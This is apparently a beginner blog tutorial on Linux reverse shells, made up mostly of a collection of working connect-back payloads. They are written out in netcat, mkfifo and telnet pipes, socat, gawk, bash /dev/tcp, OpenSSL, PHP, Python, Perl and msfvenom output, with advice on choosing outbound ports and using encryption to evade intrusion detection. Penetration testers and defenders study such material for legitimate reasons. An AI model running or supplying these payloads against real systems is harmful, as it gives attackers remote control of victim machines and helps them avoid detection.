Complete guide to Reverse Shells

Hello and welcome again! In this post I'd love to share to you my small knowledge on reverse shells specifically on linux target. I'm not here to talking about exploitation techniques or shellcoding. If you intersted to know, I'll make other post specifically on the particular topics.

This post I made my best to be easy to understand for beginners. These also requires you to understand networking client/server model. These process are just like a very basic client server model where there is a listener (server) where it listen on incoming connections and the client where it perform a connection to the server.

What is reverse shell?

Reverse shell or often called connect-back shell is remote shell introduced from the target by connecting back to the attacker machine and spawning target shell on the attacker machine. This usually used during exploitation process to gain control of the remote machine.

When to use reverse shell?

Reverse shell usually used when the target machine is blocking incoming connection from certain port by active firewall. To bypass this firewall restriction, people use reverse shell so that let the remote target connect back to us and spawning their shell instead of we connect to them and they spawn their shell to us (bind shell).

Caveats:

This exposes the control server of the attacker and traces might pickup by network security monitoring services of target network.

Some mitigation might helps bypassing those neglect and/or makes certain programs/investigation harder to traces back to control server. Interested? read more here.

In this post, I'll be sharing a simple way for understanding purposes and showing you more my reverse shell code collection.

Getting reverse shell

Usually when attacker successfully exploiting target with code execution, we usually want to take the channel and operate post exploitation under a shell terminal as it much easier.

There are three steps in order to get a reverse shell.

  1. Exploiting a vulnerability on target system/network with the ability to perform a code execution.
  2. Setting up a listener.
  3. Injecting reverse shell code on vulnerable system to exploit the vulnerabilty.

There are plenty ways/payload to get a reverse shell, the simplest that I like to use is by using netcat command but first, read through the pages carefully.

1. Exploiting a vulnerability

This step I won't tell you much in this post but the idea is to find a vulnerability that can be leverage to perform a code execution. Once you find the code execution vulnerability, then is only you can leverage the exploit and gain a shell in this case a reverse shell.

In my list of reverse shell payloads below, there are many difference use cases for each payloads, the reasons are because of different platform understand its own "language", runs on its own "platform" and "architecture" etcetra.

For example, a vulnerable PHP application that runs on Linux server are only going to work with PHP payloads not python or jsp.

The payloads are also runs on a context of the application vulnerability. For example, PHP application that runs on a linux server has a command injection vulnerability. Depending on the server behavior, a linux command injection reverse shell payload might be doable in most cases.

2. Setting up a listener

First, always set up your listener!

First you need to set up listener on your attacking machine to be able the victim connect back to you and spawning their shell.

Note: About choosing a listener port, well yes it can be anything as long as the port is not blocked by their outgoing firewall. Some server block all outgoing port except 80 or 443 so that the server can make a web request. Thus, you need to set a listener on allowed outgoing port. Further investigation required to avoid any suspicious activity on target network.

In this example, the victim allow outgoing port on any port (default iptables firewall rule). So we use 4444 as a listener port. Change it to your preferable port you like. Listener could be any program/utility that can open TCP/UDP connections or sockets. In our case I would like to use nc or netcat utility.

$ nc -lvp 4444

This command tells netcat to -l listen with -v verbose output on -p port 4444 on every interface. Through out this post, I'll make a placeholder <LHOST> which refers to your attacking machine IP and <LPORT> refers to your listener port. Replace it with yours respectively.

3. Connect back system shell to your listener

And on the target server where the code execution lies, you need to run a connect back system command to your attacking machine. As example, I use netcat command and execute /bin/sh.

Note: This is a simple example where the target is a linux machine and gets system code execution. And also has the command nc with -e support (usually have on older system).

This can be done using the following commands:

$ nc -e /bin/sh 192.168.1.10 4444

Where 192.168.1.10 is your attacking IP and 4444 is your listening port. After a few seconds, you should get victim shell on your terminal where you listen.

nc -lvp 4444
Listening on [0.0.0.0] (family 2, port 4444)
Connection from victimip 39540 received!
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ 

To testing on your own without the vulnerable application, you can just run the command on your linux box with the LHOST would be 127.0.0.1 and another terminal would be your listener.

Other reverse shell payloads

1. Using socat to get a reverse shell.
Socat is also a popular utility/program other than netcat but usually not installed by default on most linux servers. If the target server has socat installed, you can use the following commands and get a tty shell directly without needing to upgrade it.
Listener:

socat -,raw,echo=0 tcp-listen:<LPORT>

victim:

socat tcp:<LHOST>:<LPORT> exec:"bash -i",pty,stderr,setsid,sigint,sane

2. Creates a semi-interactive shell via GNU AWK.
This spawn /bin/sh and creates two way communication stdin and stdout and close socket on CTRL+C or exit. This does not support stderr. If stderr, it will seen on victim.

awk 'BEGIN{s="/inet/tcp/0/<LHOST>/<LPORT>";while(1){if((s|&getline c)<0||c=="exit")break;while(c&&(c|&getline)>0)print$0|&s;close(c)}}'

3. Creates a semi-interactive shell via bash's builtin /dev/tcp.
This will not work on circa 2009 and older Debian-based Linux distributions (including Ubuntu) because they compile bash without the /dev/tcp feature.

bash -c '0<&60-;exec 60<>/dev/tcp/<LHOST>/<LPORT>;sh <&60 >&60 2>&60' 2> /dev/null

Another bash reverse shell.

bash -c 'sh -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1'

4. Creates a semi-interactive shell via netcat
Newer linux machine by default has traditional netcat with GAPING_SECURITY_HOLE disabled. When the GAPING_SECURITY_HOLE is disabled, it means you don't have the '-e' option of netcat, which will execute specified command after a connection has been established.

Well this just isn't necessary. The following tricks creates a FIFO named pipes file system object and use it as a backpipe stdin for the netcat command while the pipes relay stdout and stderr from /bin/sh command. This is beautiful! Then the rm command will remove the named pipe automatically when the connection is terminated.

mkfifo /tmp/p; nc <LHOST> <LPORT> 0</tmp/p | /bin/sh > /tmp/p 2>&1; rm /tmp/p

Below payloads are also same but with using mknod to make the FIFO named pipe. Both telnet and netcat works well in this case.

mknod /tmp/b p && nc <LHOST> <LPORT> 0</tmp/b | /bin/sh > /tmp/b 2>&1;rm /tmp/b
mknod /tmp/j p && telnet <LHOST> <LPORT> 0</tmp/j | /bin/sh > /tmp/j 2>&1;rm /tmp/j

Old netcat with -e enabled allows direct command execution after establishing sockets. The command must be specified as a full pathname.

nc -e /bin/sh <LHOST> <LPORT>

5. Creates a semi-interactive shell via openssl
Encrypted reverse shell connection might help manual/automatic detection by a network security monitoring tools on the target network harder and sometimes could even bypass the IDS.

In order to use SSL in your reverse shell, first you need to generate a SSL certificate for the tunnel.
Generate SSL certificate:

openssl req -x509 -quiet -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

Start SSL listener using openssl utility.

openssl s_server -quiet -key key.pem -cert cert.pem -port <LPORT>

Run the payload on victim using openssl client.

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect <LHOST>:<LPORT> > /tmp/s 2> /dev/null; rm /tmp/s

6. PHP reverse shell
Simple PHP reverse shell that use exec() function to execute system command. If exec() function is disabled. You can try other PHP function that can execute system command such as system().

php -r '$sock=fsockopen("<LHOST>",<LPORT>);exec("/bin/sh -i <&3 >&3 2>&3");'

7. Python Reverse shell
Creates a semi-interactive shell using python.

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<LHOST>",<LPORT>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

8. Perl Rev shell
Creates a semi-interactive shell using perl.

perl -e 'use Socket;$i="<LHOST>";$p=<LPORT>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Build in Kali Linux web shells

Kali Linux has common webshells you can use without finding online in /usr/share/webshells. Select appropriate webshell based on your target platform, modify the LHOST and LPORT and upload it on the target system.

$ ls /usr/share/webshells

Advance: Generate custom reverse shell using msfvenom from Metasploit

Most of the reverse shell you see here you can also get it within Metasploit msfvenom 😛. Thus eliminate the needed to searching reverse shell payload online.

List available payloads

msfvenom -l payloads | grep "cmd/unix/reverse"

Any of these payloads can be used with msfvenom to spit out the raw command needed (specifying LHOST, LPORT or RPORT). For example, here's a netcat command not requiring the -e flag:

Generate shell via msfvenom

$ msfvenom -p cmd/unix/reverse_netcat LHOST=192.168.1.112 LPORT=4545 -f raw
[-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload
[-] No arch selected, selecting arch: cmd from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 103 bytes
mkfifo /tmp/zcjvnno; nc 192.168.1.112 4545 0</tmp/zcjvnno | /bin/sh >/tmp/zcjvnno 2>&1; rm /tmp/zcjvnno

And here's an example Perl oneliner in case netcat isn't installed:

$ msfvenom -p cmd/unix/reverse_perl LHOST=192.168.1.112 LPORT=4545 -f raw
[-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload
[-] No arch selected, selecting arch: cmd from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 232 bytes
perl -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,"192.168.1.112:4545");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};'

Next level!

Congratulation on having a reverse shell on your target. Next step that I would recommend is to spawning a real tty shell to complete control over your shell session.

How do you think my post here? Let me know down in the comment section below and If you have any question, or something unclear don't hesitate to ping me in the comment. Good luck and stay ethical.